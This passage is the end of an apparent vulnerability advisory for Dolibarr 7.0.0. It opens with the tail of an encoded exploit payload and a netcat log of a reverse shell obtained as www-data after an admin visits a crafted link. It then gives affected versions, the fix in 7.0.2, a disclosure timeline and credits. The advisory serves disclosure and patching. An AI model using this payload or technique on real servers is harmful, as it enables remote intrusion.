6f7574287374616765322c2032303030293b0a"))%3E  
```  
  
By tricking an admin into visiting our link, we get a reverse shell on  
the Web server:  
  
```  
$ nc -lvp 4444  
listening on [any] 4444 ...  
192.168.0.15: inverse host lookup failed: Unknown host  
connect to [192.168.0.15] from (UNKNOWN) [192.168.0.15] 38504  
id  
uid=33(www-data) gid=33(www-data) groups=33(www-data)  
```  
  
## Affected versions  
  
* Version 7.0.0 (last stable version as of March 2018) - previous  
versions are probably also vulnerable but not tested  
  
## Solution  
  
Update to 7.0.2  
([changelog](https://raw.githubusercontent.com/Dolibarr/dolibarr/develop/ChangeLog))  
  
## Timeline (dd/mm/yyyy)  
  
* 18/03/2018 : Initial discovery  
* 17/04/2018 : Contact with the editor  
* 17/04/2018 : Editor acknowledges the vulnerability  
* 18/04/2018 : Editor announces fixes in version 7.0.2  
* 21/05/2018 : Vulnerability disclosure  
  
## Credits  
  
* Kevin LOCATI (k dot locati at sysdream dot com)  
  
  
`